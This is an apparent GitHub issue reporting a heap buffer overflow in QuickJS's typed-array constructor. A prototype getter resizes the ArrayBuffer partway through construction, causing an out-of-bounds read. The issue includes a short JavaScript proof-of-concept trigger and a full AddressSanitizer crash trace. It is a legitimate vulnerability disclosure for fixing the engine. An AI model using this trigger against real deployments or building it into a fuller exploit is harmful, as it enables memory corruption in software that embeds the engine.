Skip to content

Heap buffer overflow via side-effects in js_typed_array_constructor #1296

@Mcsky23

Description

@Mcsky23

Overview

js_typed_array_constructor does obj = js_create_from_ctor(ctx, new_target, classid); which can trigger JS code here proto = JS_GetProperty(ctx, ctor, JS_ATOM_prototype);. Thus, we can define a getter on new_target.prototype that resizes or detaches the input ArrayBuffer mid-execution. At the end of js_typed_array_constructor, typed_array_init will get called with OOB arguments on a resized Array Buffer.

PoC

const ab = new ArrayBuffer(10, { maxByteLength: 10 });
function f() {
    return 1337;
}
const evil = f.bind();

Object.defineProperty(evil, "prototype", { get: () => {
    console.log("resizing");
    return ab.resize();
} });
let u8 = Reflect.construct(Uint8Array, [ab], evil);
console.log(u8);

ASAN output:

==1004659==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001191 at pc 0x64e0909c1b5b bp 0x7fffe760c000 sp 0x7fffe760bff0
READ of size 1 at 0x502000001191 thread T0
    #0 0x64e0909c1b5a in js_get_fast_array_element (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xe1b5a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #1 0x64e090b2139e in js_typed_array_join (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24139e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x64e090b44b05 in js_array_toString (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x264b05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x64e090987f5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x64e0909f229b in JS_ToPrimitiveFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11229b) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x64e0909e4650 in JS_ToStringInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x104650) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x64e0909f2856 in js_force_tostring (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x112856) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x64e0909f29ea in JS_ToCStringLen2 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1129ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x64e09091c31f in js_print (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x3c31f) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #13 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #14 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #15 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #16 0x64e090ad5921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #17 0x64e090adaf30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #18 0x64e090adb454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #19 0x64e090ae06b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #20 0x64e090ae5a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #21 0x64e090913ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #22 0x726c2e62a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #23 0x726c2e62a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #24 0x64e0909147d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

0x502000001191 is located 0 bytes after 1-byte region [0x502000001190,0x502000001191)
allocated by thread T0 here:
    #0 0x726c2eafc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x64e0909b52ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x64e090aaad05 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x64e090987f5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x64e0909f1723 in JS_GetPropertyInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x111723) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x64e090a1ace3 in js_create_from_ctor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x13ace3) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x64e090afaa9e in js_typed_array_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x21aa9e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x64e090ad2234 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2234) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x64e090ad2c98 in js_reflect_construct (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2c98) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #13 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #14 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #15 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #16 0x64e090ad5921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #17 0x64e090adaf30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #18 0x64e090adb454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #19 0x64e090ae06b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #20 0x64e090ae5a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #21 0x64e090913ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #22 0x726c2e62a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #23 0x726c2e62a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #24 0x64e0909147d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xe1b5a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_get_fast_array_element
Shadow bytes around the buggy address:
  0x502000000f00: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
  0x502000000f80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
  0x502000001000: fa fa fd fd fa fa fd fa fa fa fd fa fa fa 00 fa
  0x502000001080: fa fa 00 fa fa fa fd fd fa fa 00 fa fa fa fd fd
  0x502000001100: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
=>0x502000001180: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1004659==ABORTING

Reporter credit: mcsky23 (Vlad Ionut Seba)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions